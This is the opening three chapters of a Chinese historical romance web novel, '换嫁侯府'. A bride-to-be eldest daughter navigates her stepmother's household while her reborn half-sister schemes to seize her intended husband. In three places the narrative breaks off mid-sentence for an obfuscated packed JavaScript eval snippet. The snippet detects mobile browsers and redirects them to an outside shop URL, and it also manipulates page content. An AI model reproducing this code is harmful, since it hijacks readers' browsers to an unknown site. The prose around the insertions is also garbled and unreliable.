《换嫁侯府》 1. 第 1 章 京城,缪府。 宿雨方歇,天才蒙蒙亮,晨光在东边一带的灰瓦上,淡淡地染了一层薄金。 抄手游廊下,两个小丫鬟各端着半盆残水,从新糊了绿纱的窗下走过。 一个穿着青缎坎肩的,凑到另一个穿红袄的耳边,压低了声道:“姐姐,你可听说了?昨儿夜里,二小姐院中猛不丁传出一声尖叫!” 那穿红袄的唬了一跳,险些将盆里的水晃出来,忙四下里望了望,见并无管事妈妈的身影,才拍着心口,也放低了声音回道:“阿弥陀佛,怎的没听说,我们屋里隔着那么远,那一声传过来都听得真真儿的,凄厉得很,活像见了什么……什么不干净的东西似的。” “谁说不是呢!”青坎肩的丫鬟接过话头,眼中闪着光,“我早起去茶房领水,听守夜的张婆子说,那声音正是从二小姐自己屋里传出来的。后来她看到二小姐院里的小婵匆匆忙忙跑去了主院,没一会老爷太太就都过去了,太太急得连鞋子都没来得及穿呢!” “好端端的,莫不是……做了噩梦?”红袄丫鬟猜度着,说出口,自己却也觉得不大像。 “只是做噩梦,哪能闹出那般大的动静?”青坎肩的摇摇头,神情愈发神秘起来,“我还听说,太太在二小姐房中陪了一夜,今日一早便让向妈妈去请大夫了,那急匆匆的模样,瞧着事情可不简单。” “你可是打听到什么了?”穿红袄的听得心急,抬着胳膊肘戳了戳穿青坎肩的丫鬟。 结果那青坎肩的却摇摇头,“你没发现二小姐院里伺候的人,今早都没出来么?我估摸着是太太发话了,不然怎么会……” “大小姐!” 青坎肩丫鬟话没说完,便被红袄丫鬟一声叫打断。 她倏地抬头,便见庭中那树海棠旁边,不知何时立着一女子。 经了雨的海棠越发红得紧,一树一树的花,都似胭脂着水,泅得没些个棱角。那女子便站在花影深处,乌发高挽,杏眼桃腮,眼里恍若汪着一捧春水,清凌凌的映着天光,似能说话一般。 分明是个鲜亮亮如嫩芽似的姑娘,却叫两个丫鬟登时软了腿脚。 “大,大小姐……” 两个丫鬟一边筛糠似地抖,一边扑跪在地上。 缪玉微轻轻拂开一枝横斜的花叶,目光无意地在两人头顶扫过,“我难道是什么洪水猛兽不成,竟叫你二人怕成这样?”声音清凌凌的,透着一丝困惑。 两个丫鬟慌忙摇头,话也说不囫囵,“不是,奴婢不敢,奴婢只是,只是……”却也说不出个所以然来。 缪玉微无意为难她二人,只当自己什么也没听到,“我方从园子西角过来,见那望乡亭的廊柱被昨夜那场雨淋得斑驳了,你们可是要去那边擦洗?” 俩丫鬟一愣,随即如蒙大赦般,忙不迭地点头。 缪玉微便不再多言,微微侧了身,绕过二人,径自上了那边的抄手游廊。 春桃凑到缪玉微身后,压低声道:“小姐,她们方才说的那话……”话才起头,便被缪玉微一个淡淡的眼神止住了。 春桃便噤了声。 两人沿着游廊,穿过一道垂花月洞门,又走过一带粉墙,便望见主院了。 院子外头静悄悄的,廊下只立着两个穿青布衣裳的小丫鬟,垂手站着听候差遣。 缪玉微脚步微微顿了顿,心下暗自思忖方才园中那两个丫鬟嚼的舌根,面上却半分不显,稳稳当当迈了进去。 她方一露头,门左边的丫鬟便掀了帘子进去通传,等她行至阶下时,门帘恰好从里头掀开。 出来的是个四十上下的婆子。 缪玉微略略颔首,嘴角带了三分笑,“向妈妈早,我来给太太请安。” 这向妈妈是太太曹氏身边的管事,生得一张长方脸,两道稀眉,一双三角眼,平日里总是板着脸,浑身透着一股子精明厉害劲儿,阖府的丫鬟小厮见了她,都要矮三分。 可今日的向妈妈,瞧着却有些不大一样。 缪玉微的目光在她眼下那两团乌青上轻轻一落,又极快地挪开了,只当没瞧见。 向妈妈屈了屈膝,脸上硬挤出一点笑模样来,“好叫大小姐知道,太太昨儿夜里着了风,今儿一早起来便嚷着头疼,方才又躺下了。大小姐的孝心,老奴自会禀报,这安,今儿就免了。” “着了风?”缪玉微眉尖微微蹙起,眼中带了几分关切,“可要紧?” 向妈妈嘴角抽了抽,垂着眼道:“劳大小姐惦记,大夫已瞧过了,说是不妨事,将养几日便好。” 缪玉微听了,便似放下心来,神色也松泛了些,“既如此,我便不进去打扰了,还请太太好生歇息。”说着,又朝里头望了一眼,方转身,带着春桃缓缓去了。 出了院子,走远了些,春桃实在憋不住了,紧赶两步凑到跟前,压着声儿道:“小姐,要不……奴婢去打听打听?” 缪玉微知她这性子,也知她素日里在各房走动得勤,略一沉吟,便点了点头:“小心些,别叫人看出来。” “得嘞!”春桃笑吟吟应了一声,便蹦跳着往角门去了。 缪玉微望着她一阵风似跑远的背影,无奈笑笑,转身往自己院里去了。 她住的院子在缪府西侧,离正院不算远,却也不是很近,倒也不是太太有心苛待她,实是这缪府宅院不大,她来时,便只剩这一处小院还空着了。太太原曾开口,让她与二小姐同住一个院子,只是被她婉言谢拒了。 实在是因为不熟。 她母亲是父亲的原配,早已亡故多年,如今这位当家太太,是父亲后头续弦娶的。她自幼养在绍兴老家的祖父母身边,莫说是太太这位继母与她后头生的那一双儿女,便是她那位父亲,她也只在年幼时见过寥寥几面。说起来是骨肉至亲,其实还不及老家隔壁的叔伯婶娘来得熟悉。 原本她是打算在老家,侍奉祖父母终老的,可年前,祖父突然往京里递了一封信,要父亲在京师替她相看一门亲事,还没出正月,她便被接了来。 她心里明白,祖父这么做,是想让她留在父亲身边,弥补这些年欠下的父女之情,如此,即便将来二老不在了,她在夫家受了委屈,也不至于无处可诉。 知晓二老的苦心,她虽舍不得,却也不愿再叫他们为自己悬心,这便来了京师。 只是她与这府上之人,相处的实在不算好,尤其是二小姐缪玉灵,二人生过几次龃龉。但她来京只为待嫁,并不想理会这府里的是非恩怨,因而方才在园子里听见那两个小丫鬟嚼舌根,她才会装作没听真切,含糊着混过去。 - 才进院门,便见秋月正从小厨房出来。 “灶上可有吃的?”缪玉微随口问她。 秋月笑着迎上来:“有呢,梁妈妈一早便吩咐了,防着小姐回来还饿,早叫人预备下了。” 缪玉微嗔她一眼:“这话可怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381179|200186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你家小姐又不是饕餮,在太太房里用了饭,回来还能觉着饿?” 秋月笑着替她打起门帘:“小姐昨日请安回来,可不是又吃了一碟子桃花糕,这便忘了?” 缪玉微一噎,恰瞧见桌上插花剪下的枝子,顺手抓起来,回首便往秋月身上虚虚打去:“你这丫头,怎么也学起梁妈妈那套来了?尽拆我的台!” 话音未落,门外便传来一道熟悉的声音:“学奴婢什么?” 缪玉微手一抖,忙把那花枝往身后一藏,回头望去,果见梁妈妈打帘迈了进来,一张团团圆脸上带着笑,正望着她。 “小姐若有不满,可当面说与奴婢听,奴婢定好好改过。”梁妈妈一面说,一面招呼后头的小丫鬟摆桌,眼角堆着的细纹里都盛着笑意。 比起那位精明板正的向妈妈,梁妈妈便显得和善多了,一张圆脸,笑起来眉眼弯弯,叫人瞧着便觉心里熨帖几分。 缪玉微知她在玩笑,忙丢了花枝,几步上前,亲昵地攀住她胳膊,撒娇道:“哎呀奶娘,我和秋月闹着玩呢,您瞧我像那不识好歹的人么?” 梁妈妈哼了一声,抬手捏了捏她的鼻子:“多大的人了,还撒娇,快坐下吃饭。” “奶娘最好了。”缪玉微仰脸一笑,唇角露出两粒若隐若现的小梨涡,瞧着乖巧极了。 - 用过饭,秋月收拾了碗筷下去,缪玉微便从架上抽了一本游记,歪在临窗的美人靠上,有一搭没一搭地翻着。 日头渐渐升高,温软的阳光透过薄薄的窗纸洒进来,在青砖地上铺了一层暖融融的金色。角落的铜鼎里焚着淡淡的水沉香,一缕细烟袅袅升起,散在光影里。 缪玉微翻了几页,眼皮便渐渐沉了,手里的书卷慢慢滑下去,搭在膝上,又滑下去,终于“啪嗒”一声,落在了地上。 她也没醒,只微微偏了头,枕着自己的手臂,沉沉睡着了。 外头日光正好,照在她素净的脸上,映出一层浅浅的茸毛。 春桃蹑手蹑脚地掀帘进来,正踌躇要不要悄悄退出去时,榻上的人却似有所感,眼睫微微颤了颤,睁开了眼。 “回来了?”缪玉微半撑起身,声音里还带着一丝刚醒的慵懒,“如何?” 春桃忙上前,将滑落的薄毯拾起叠好,又拿过迎枕垫在她身后,道:“与那俩丫头说的差不离,太太在二小姐房里陪了整宿,今日一早打发了人去请大夫,瞧过了才回的正院。”说着,又想起什么,压低了声音,“对了,奴婢方才回来的时候,瞧见太太又往二小姐院里去了。” 缪玉微听了,眉尖微微蹙起,垂眸沉思。 “若只是做噩梦惊着了,”她慢慢道,“又怎会捂得这样严严实实的,什么都打听不出来呢?” 春桃撇了撇嘴,露出一副不屑的神情:“要奴婢说,就是二小姐太娇气了些,兴许是梦里见了什么不好的东西,事后却又觉得丢脸,这才封了底下人的嘴,不叫往外传。” 缪玉微却没接话,心里总觉得有哪里不对,却又说不分明。 正思索间,忽听得窗外传来隐隐约约的人声,絮絮切切的,似是有人立在阶下说话。缪玉微抬眸,隔着那一层薄薄的窗纱望出去,果见阶下立着道人影。 下一刻,帘子掀动,秋月走了进来。 “小姐,是太太院里的兰巧姐姐来了,带着……”她微微顿了顿,目光里似有一丝异样,“带着庄三爷送来的东西。” 2. 第 2 章 话音未落,缪玉微还未开口,春桃先翻了个白眼,鼻子里轻轻“嗤”了一声,“又来送东西。” 秋月忙拿胳膊肘暗暗捅了她一下,春桃却憋不住,鼓着腮帮子愤愤道:“我这话难道说错了?如今还没纳征呢,咱们小姐与他的婚事就算不得定下来,他三天两头这么送东西,叫旁人瞧见了,还当咱们小姐与人私相授受呢。这名声传出去,敢情受害的不是他。” 秋月没接话,只悄悄拿眼风觑了缪玉微一眼。 榻上的人神色淡淡的,既不见羞赧,也不见恼意,只垂着眼睫,不知在想些什么。 可秋月心里头,却也跟着春桃的话翻腾起来。 小姐不喜她们议论这桩婚事,可入京这几个月,她们都看在眼里,老爷太太对小姐的婚事,虽说面上不曾怠慢,可真论起上心二字,却又实在够不上几分。 分明都是老爷的女儿,分明小姐为长,可二小姐议婚的对象,是长平侯府的二公子,是世袭的勋贵,是京里多少人家巴结不上的门第。而小姐要嫁的,却只是个寒门出身的举人,虽说读书人清贵,若能一朝及第,便是天子门生,风光无两,指不定还能出将入相,为朝廷栋梁。可问题是,谁又知道他能不能金榜题名?若他屡试不第,难不成小姐也要陪着他蹉跎一生吗? 她们做奴婢的,不敢妄议主家的安排,可心里头,到底替小姐鸣着不平。 面前两人突然沉默下来,缪玉微抬眸在她们脸上一扫,如何不知她们心里在想什么? 她微微一笑,也不点破,只撑着迎枕起了身。 “好了,人家既来了,自然得出去见一见。”她理了理衣襟,又伸手在春桃脸颊上轻轻刮了一下,“瞧你气成这样,就在屋里待着罢,多喝两盏凉茶去去火,仔细一会儿出去说了什么不该说的。” 春桃被她这一刮,脸上腾地红了,羞恼地跺了跺脚:“小姐!” 缪玉微轻轻笑了一声,也不理她,只对着妆台上的铜镜略略照了照,理了理鬓角,便带着秋月往外面去了。 见她出来,兰巧忙上前一步,笑着福了福身:“奴婢给大小姐请安。” 缪玉微也含了笑,微微颔首:“方才歪着睡着了,仪容不整,叫姐姐好等,实在怠慢了。” 兰巧性子伶俐,因而总是替太太做些行走各院的事,太太房里那些伺候的人,兰巧算是缪玉微见得最多,也最熟悉的。 不过主仆有别,兰巧哪敢真受她这话,忙躬身道:“大小姐言重了,奴婢也是才到,正瞧着这院子里的花好,还没看够呢。” 缪玉微便顺着她的话往两边看去。 阶旁花坛里果然开着几丛花,红的粉的,簇簇拥拥,只是这些花都是她来之前便有的,一直由底下人照管着,开得好不好,与她倒也没什么相干。 她笑了笑,“这些花都是下人们侍弄的,我也没操什么心,姐姐既喜欢,我便借花献佛,送姐姐两枝戴罢。” 说着,她向秋月递了个眼色。秋月会意,忙唤小丫头拿了花剪来,亲自走到花坛边,挑了两朵开得正好、却又不过分招眼的,细细剪下,递到兰巧跟前。 “奴婢谢大小姐赏。”兰巧笑着接过,也不推辞,只放在鼻尖嗅了嗅,道:“都说花似人,大小姐的花这样好,人更是生得齐整,怪不得庄三爷惦记着,三天两头的,又着人送东西来了。” 说着,她将手里捧着的一个黑漆匣子递了过来。 缪玉微看了一眼那匣子,笑道:“如此小事还要麻烦姐姐亲自走一趟,实在不好意思。” 说着,她上前一步,不着痕迹地握了握兰巧的手,悄无声息地将一片金叶子滑进了兰巧的掌心,“听闻太太身子不爽利,不知可好些了?我晨起去请安时没见着太太,这心里一直惦记着。” 兰巧垂眸,指尖轻轻拈了拈那金叶子,面上的笑意便又真切了几分。 她叹了口气,压低了些声音道:“哪有那么容易好,昨儿夜里太太忙着照顾二小姐,没注意受了凉,且得养上几日呢。” “哦?”缪玉微眉心微蹙,仿佛刚听闻此事,“二妹妹那边又是怎么了?竟也没人同我说一声,我好去探望。” 兰巧又叹了口气,脸上露出几分怜惜之色:“二小姐被梦魇着了,昨儿半夜突然惊叫起来,刚醒那阵儿都认不清人,可把一院子丫鬟婆子吓个够呛。后来老爷太太去了,二小姐搂着太太哭了半宿,天亮时才迷迷糊糊睡过去。” 缪玉微心思百转,不知兰巧这话是太太交代的,还是缪玉灵真就只是做了噩梦而已。 她轻轻叹道:“天可怜见的,想来是被吓坏了。” 兰巧点点头:“谁说不是呢,太太也说,要请个稳妥的太医来瞧瞧,再寻个符婆子来收收惊。” 两人便又站着说了几句闲话,兰巧方告辞离去。 秋月一直立在旁边,待兰巧走远了,才走上前来,低声道:“小姐,她说的那些话是真的么?二小姐当真只是梦魇?” 缪玉微望着兰巧离去的背影,没说话,过了阵儿才道:“她说是梦魇,那便是罢。与我无关最好,若真有关……”她顿了顿,眸光闪烁,“早晚也会知道的。” - 说起与庄三爷的这门婚事,其实在缪玉微来京之前,便已有眉目了。 那庄家三爷名唤庄文彦,前年入京赴试,因是同乡后辈,得了缪玉微父亲缪世则的几分照拂。一来二往间,缪世则越发欣赏其文采人品,有心帮衬提携,又见他尚未婚配,便起了结亲的念头。 只是缪玉灵是嫡女,又搭上了长平侯府这条线,这桩婚事自然不会落在她头上,可若要许个庶女给他,又会显得不够重视,这主意打来打去,最后便打到了缪玉微的头上。 说来庄文彦倒也不算真正的寒门出身,他祖上曾也有人做过官,祖父亦是举人,只是屡试不第,便绝了科举的念想,在家乡开了间学馆,教书育人。到了他父亲那一辈,兄弟二人都不是读书的料,便索性从了商,走南闯北,辛苦经营,倒也挣下了几分家业。故而到了庄文彦这一代,家中虽称不上大富大贵,却也吃穿不愁,能供他专心读书。只是家中兄弟几个,从小吃一样的饭,读一样的书,旁的兄弟不是尚未考中秀才,便是早已歇了科举的心思,唯独这庄文彦,一路顺顺当当考了上来,比他祖父还早两岁中了举人。 初听这些事的时候,缪玉微觉得这庄文彦也算是个刻苦努力、心志坚定之人,何况缪世则既要选女婿,定是仔细考察过的,断不会轻易与人结亲,想必人品才学都是信得过的。 后来问名那日,她隔着屏风遥遥见过庄文彦一面。那人长得文质彬彬,说话也是不急不躁的,瞧着是个稳妥人。她远远瞥了一眼,心下印象倒也不坏。 虽说她嫁人,原是为了安祖父母的心,可如无意外,两人是要过一辈子的,能相互看着顺眼,总是再好不过的。 只是春桃对这人不甚满意,总把庄文彦与那长平侯府的二公子放在一处比较,说人家长平侯府门第多么显赫,那侯府里的夫人太太多么雍容华贵,便是那二公子,听说也是生得一副好皮囊,英俊倜傥,满京城的闺秀都盯着呢。 缪玉微每回听了都哭笑不得,她们来京不过两月,府门都没出过几回,她是如何知道人家是何模样的? 春桃便梗着脖子,下巴一扬,振振有词道:“俗话说富贵养人,金窝窝里长大的,吃穿用度都精细着呢,便是天生长得差了些,锦衣华服一穿,珠玉宝石一戴,眼睛都被晃瞎了,自然就是好看!” 缪玉微被她这话逗得歪在榻上,笑得直不起腰。 小丫头没享过什么富贵,便觉得出身高门便高人一等,门第高的便样样都好,却不知那高门大户,外头瞧着光鲜,可进去之后,高墙深院一锁,内里心酸便只有自己知晓了。 横竖她是不羡慕缪玉灵那桩婚事的,能嫁给庄文彦,平平淡淡过完这一生,她便知足了。 只是没想到,这般想的人,不止她一个。 缪玉灵院中,丫鬟绣心立在廊下,不住地朝屋里张望,眉宇间凝着一层薄薄的忧虑。 云柳端着托盘过来,上头放着一碗温着的米粥,她凑近了,压低声道:“小姐还没醒呢?” 绣心摇摇头,声音也压得低低的:“自太太走后便静悄悄的,没听见半点声响,我也不敢贸然进去,万一正睡着,倒把人惊醒了。” 云柳垂眼看了看托盘中的粥,轻叹一口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381180|200186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她四下里望了望,又凑近些,声音低得几乎只余气声,细听之下,还带着一丝余悸未消的颤意:“你说,小姐昨儿夜里,究竟是梦着什么了?惊醒的时候,嘴里直喊着……”她顿了顿,那话在舌尖滚了一滚,才极轻地吐出来,“喊着什么……不要杀我……” 绣心闻言,脸色一变,忙瞪她一眼,目光凌厉如刀:“太太可放话了,这事你我就烂在肚子里,若敢往外透半个字,连你老子娘都别想好过!” 云柳被她这一瞪,唬了一跳,急道:“你这是说的什么话!我怎会说出去?不过是这会子想起来,心里头有些惴惴的,才跟你说一句罢了。” 绣心见她急了,面色稍缓,语气也软了些:“怕什么?你难道没做过梦?那梦里向来光怪陆离的,什么没有?谁知会梦见什么古怪东西。你就是胆子小,想得太多了。” 云柳细想了想,倒也是这个理,心下稍稍宽了些。 屋外渐渐静了下来,缪玉灵靠坐在床头,置于膝上的双手紧了紧。 她其实并未睡着,方才不过是为了哄着母亲走。 她怎么可能睡得着。 只要一闭眼,那满目的血红便扑面而来,脖子上那剧烈而真实的痛感,仿佛还烙在皮肉上挥之不去。 她不知道究竟发生了什么。 昨夜惊醒的时候,她以为自己到了阴曹地府,惊惧得魂飞魄散,直到后来看见爹爹和娘亲冲进来,感受到娘亲温暖的怀抱,她才渐渐安静下来。 从母亲口中,她得知如今是兴平十二年,她还没有出嫁。她呆坐了许久才敢相信,上天真的给了她重来一次的机会。 只要想到这一点,缪玉灵就觉得自己浑身的血都涌了上来,无数的情绪在她心里翻腾搅动,一时不敢相信,一时又觉得,自己上辈子那样凄惨,老天爷看不过眼,也是有可能的。 想到上辈子,缪玉灵的呼吸陡然急促起来。 她上辈子所有的苦难,都是从这年嫁给徐见青开始的。 她与徐见青这门婚事,确实是她高攀,可若非长平侯夫人看上她,她便是削尖了脑袋,也进不了他堂堂侯府的大门。彼时她满心欢喜,以为自己攀上了高枝,往后等着她的便是数不尽的荣华富贵。可她做梦都没想到,那侯府竟会是将她拖累致死的地狱。 分明是长平侯夫人先看上的她,可等她嫁过去之后,这位婆婆便换了副嘴脸,对她横挑鼻子竖挑眼,除了新婚那几日,就没给过她一个好脸色。 而那徐见青,白长了一副好皮囊,竟是座半点人性也无的冰山。新婚夜不圆房,害她费尽心思替他遮掩扯谎不说,明明她是他的妻子,可他那院子,这也不让碰,那也不让进,她的地位竟还不如他身边伺候笔墨的小厮。最伤人的是,无论她如何低声下气,如何殷勤小意,他都一副爱答不理的冷淡模样。两人之间的相处,别说像夫妻了,连陌生人都不如。 成婚后,她回过几次娘家,可除了回门那日是徐见青陪着,后来再回去,都是她孤零零一个人。有时不巧,会遇上缪玉微,而每一次,庄文彦都陪在她身边。 当她在饭桌上,一边忍受着缪玉微和庄文彦的恩爱,一边还要绞尽脑汁替徐见青的缺席找借口时,她心里的怨恨嫉妒便止不住地往外冒。 明明是同一年成的婚,凭什么缪玉微就能和庄文彦如胶似漆,而她却要在侯府忍受一大家子的冷眼?明明缪玉微只是个乡下来的野丫头,明明她处处都比缪玉微强,可凭什么她过得不好? 成婚之后那些一点一点积攒起来的不满,终是在长平侯府被处处针对,而庄文彦摇身一变成为二皇子心腹的时候,彻底爆发了。 她觉得老天对她不公。 这门亲事,原本就该是她的!爹娘看上庄文彦的日子,比她被长平侯夫人看上的日子要早得多,若非祖父从乡下寄来的那封信,若非缪玉微突然被接来京里,与庄文彦成婚的人,本该是她! 不甘和怨恨涌上心头,缪玉灵攥紧的手微微发抖。 而且…… 她想起死前得知的那件事,心头一狠,眼神骤变。 既然老天给了她重来一次的机会,那她就要好好利用,这一回,她绝不会再重蹈覆辙! 3. 第 3 章 春深日暖,碧纱窗上碎影婆娑,日光透过窗格漏进来,筛得满地金辉。 镜前坐着的缪玉微,却撑不住这暖融融的春光,正自困得前仰后合,脑袋跟小鸡啄米似的一点一点,眼瞧着就要垂到胸前去了。 “小姐?小姐!” 耳边陡然起了两声脆生生的呼唤,缪玉微猛一激灵,恍恍惚惚睁开眼,便见春桃那张圆脸儿凑在跟前,笑得眉眼弯弯。 “小姐今日是怎么了,困成这副光景?方才险些就磕在桌角上了。”春桃调侃道。 缪玉微偏头往窗外望了一眼,但见碧空如洗,万里无云,不由得长长叹了口气,“昨日下了整整一日的雨,淅淅沥沥到半夜也不曾停,我只当今日必是阴天,谁知这老天爷这般不给我脸面,竟放了个大晴。”说着,又忍不住掩口打了个哈欠,“我夜里便多看了几页话本,谁晓得……” 昨日太太跟前的兰巧过来传话,说今日府里要办什么赏花宴,她瞧着那雨到半夜也没个停的意思,只当赏花宴必定泡了汤,夜里便放心大胆地看了半宿的话本子。谁知今日一早起来,外头竟是这等好天气。 春桃却不肯信她这话,笑道:“小姐快别拿老天爷作筏子了,分明是那话本子上写的才子佳人勾住了小姐的魂,看得上了瘾,撂不下手,这才熬了夜。” “好你个贫嘴的丫头!”缪玉微反手去挠春桃的肚子,“若不是你不知从哪儿淘换来那劳什子话本,巴巴儿地塞给我,我何至于此?” 春桃忙笑着躲闪,主仆两个立时闹作一团。秋月正拈着一枝蝴蝶簪要往缪玉微髻上比量,见状赶紧将手缩回去,把簪子举得高高的,生怕被碰坏了。 好容易两人笑歇了气,秋月这才上前,一面替缪玉微整理揉乱的鬓发,一面轻声问道:“小姐可是不想去?” 缪玉微又叹了口气,“春花都快谢了,办哪门子赏花宴?何况缪玉灵前几日还汤药不断,太太怎么忽然就有心思摆酒唱戏了?这里头分明有鬼。” 秋月手上一顿,与春桃对视一眼,两人面上的笑意都慢慢敛了下去,屋里一时静了下来。 春桃压低了声儿:“那……要不咱们称病不去了?就说小姐夜里着了凉,头疼。” 缪玉微望着镜中的自己,那支蝴蝶发钗簪在发间,轻轻一动,那蝴蝶翅子便微微颤动,光华流转,栩栩如生。 她摇摇头,“去还是要去的,去了,才能知道她们到底在打什么主意。” 两个丫鬟听了,一时都收了玩笑的心,默默服侍她穿戴。待收拾停当,缪玉微起身向外走,路过那株西府海棠时,脚步一顿,顺手掐了一朵,斜斜簪在鬓边。 她侧过头看向春桃,弯唇一笑:“怎么样?” 春桃看着自家小姐,只见那乌黑的鬓发间,斜斜簪着一朵嫣红的海棠,愈发衬得她面若芙蓉,眉如远山,眼波流转间,竟是人比花娇。 她狠狠点了点头,“姑娘这一打扮,定能将今日所有来的小姐都比下去!” 缪玉微笑着刮了一下她的鼻子:“谁要和她们比?簪花是为了我自己开心。” 春桃嘻嘻一笑,道:“反正奴婢瞧着,姑娘就是好看。” 缪玉微被她逗得忍俊不禁,主仆二人说说笑笑,便往那今日待客的花厅走去。 还未走近,便听见花厅里欢声笑语一阵阵传出来,院中还有伶人在弹曲唱戏,丝竹声袅袅婷婷,好不热闹。 缪玉微脚步不停,转过一道粉墙,便望见了那敞着门窗的花厅,隔着那湘妃竹帘,正听见继母曹氏在与身旁几位贵妇人说话。 “……那孩子是个苦命的,自幼没了娘,我每每想起,这心里头真真是油煎一样的疼。只恨我当年生灵儿落下了病,自顾不暇,这才生生耽误了接她进京。”说着,她拿帕子按了按眼角,“后来身子好些了,再去接,又见她与我家老太爷、老太太处得极好,老爷不忍叫老人家受那离别之苦,这才狠心,又将她留在了老家。说起来,我这心里头,着实是对不住她。” 周围几位太太听了,无不点头赞叹,都说她心肠慈善,虑事周全,既全了孝道,又没委屈了孩子。 曹氏又叹了口气,脸上露出几分欣慰的笑来,道:“好在老天有眼,那孩子自己争气,生得聪慧懂事,不但替我和老爷在二老跟前尽了孝道,自己还出落得亭亭玉立的,没叫我们操过半点儿心,真真是个可人疼的。” 众人又是一番附和,都说这是她这嫡母积的德,修的福。 这话传到小姐们坐的那一席,挨着缪玉灵坐的一位小姐凑到她耳边,低声道:“你娘也太心善了,一个自小长在乡野的丫头,何苦这般替她描补?什么替他们尽孝,什么出落得齐整,我听着倒像是怕人瞧不起她,故意抬举似的。” 缪玉灵闻言浅浅一笑:“母亲说得没错,姐姐也是父亲的孩子,本就该早些接回来的。” 那姑娘恨铁不成钢,急道:“你呀你,真是个傻的。你不想想,她这一回来,便是正经的缪府大小姐,名分在你之上,是要同你争的,你就不怕你父亲将与长平侯府的婚事给了她?” 缪玉灵垂下眼,仍是那副人畜无害的模样,柔声道:“姐姐原就是父亲第一个孩子,在老家吃了这许多苦,好容易回来,自然该好好补偿。若姐姐喜欢侯府二公子,我心里头,是千万个愿意将这婚事让给姐姐的。” 周围几个小姐听了,有说她宽厚的,也有暗暗撇嘴的。 那长平侯府是何等门第?累世公卿,手握兵权,府里又出了一位宠冠六宫的贵妃娘娘,便是皇后娘娘也要让她三分。这样的人家,京里多少人挤破了头也攀不上,这缪玉灵不知如何入了侯夫人的眼,自己不知道珍惜也就罢了,竟还要往外推,不是傻又是什么? 一时间,众人心思各异。 门外的缪玉微听了一耳朵,顿觉无趣得紧,带着春桃转头去了花园里。 方离了那热闹处,绕过一带竹篱,耳根子才觉清静些。春桃回头瞧了瞧,见四下无人,便忍不住狠狠啐了一口,“一群胡说八道的东西,没得脏了小姐的耳朵。” 缪玉微见她腮帮子鼓得圆圆的,倒觉有几分好笑,一面往前走着,一面道:“你理她们作甚?” 春桃见小姐非但不恼,还笑盈盈地劝她,越发替她委屈:“奴婢心里头实在替小姐气不过!都是有头有脸人家的太太小姐,却学那市井妇人在背后嚼人舌根,若遍京师的人家都是这等教养,怕是要令关外那些鞑子笑掉大牙了!” 缪玉微被她逗笑,捏了捏她的脸,“既知她们没教养,你又何必放在心上?倒白白的恼了自己。如若还气不过,不如,晚饭我们吃糟鸭舌?” 春桃愣了一下,旋即反应过来,自家小姐这是在打趣那些爱嚼舌根子的人呢,“糟鸭舌”堵那“糟舌头”的嘴,可不是正对景? 她没忍住噗嗤笑出了声,便也忘了方才那点子不快。 二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381181|200186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又走了一段,忽见有个丫鬟寻来,说是二小姐有事要同她讲,请她过去一趟。 缪玉微心下疑惑。 缪玉灵方才不是还在席上么,怎么忽然就要找她?况且她二人素来没什么话讲,她能有什么事? 春桃也皱眉,扯了扯缪玉微的袖子。 缪玉微拍拍她的手,略一思索,还是跟着那丫鬟去了。 那小丫头带着二人曲曲折折走了半晌,最后停在一座小亭子前。那亭子四面通风,周遭种着几竿翠竹,幽僻得很,连前头的丝竹声都听不见了。 缪玉微四下一望,不见半个人影,便问那丫头:“不是说二妹妹找我么?怎不见她人?” 那丫头垂着头,声气儿低低的,几乎听不见:“二小姐许是被席上的姑娘们绊住了,一时脱不开身,还请大小姐略等一等。” 缪玉微瞧了她一眼,那丫头虽低着头,眼皮子却在微微发颤,分明是心虚。她也不言语,只点了点头。 又等了约莫一盏茶的功夫,却仍不见人来。 她给春桃使了个眼色,春桃会意,上前道:“二小姐这是何意?把我们小姐请来,自己倒不露面了?就这么干等着,要是误了开宴,回头太太问起来,难不成二小姐会替我们小姐分说?” 那小丫头也有些慌,支吾了两句,道:“大小姐莫急,奴婢这就去瞧瞧,催一催二小姐。”说罢,也不等回话,转身一溜烟跑了。 春桃气得跺脚,低声骂道:“这些黑了心肝的,专会作弄人!怕不是担心小姐去席上抢了她的风头,故意使这调虎离山之计,把咱们晾在这,好叫众人都忘了还有位大小姐!” 缪玉微望着那小丫头跑远的方向,眯了眯眼,淡淡道:“既是不想叫咱们走,那便等着,瞧瞧她到底要做什么。”说着,倒背着手,打量起这亭子四周来。 这地方着实清幽,周遭并无半点人语,只听得风过竹梢的簌簌声,待久了,便是些微响动也格外分明。 没多久,缪玉微便听到身后传来一道平缓沉稳的脚步声。 她当是缪玉灵来了,便回过身去,却不料目光所及之处,撞见的是一道陌生的身影。 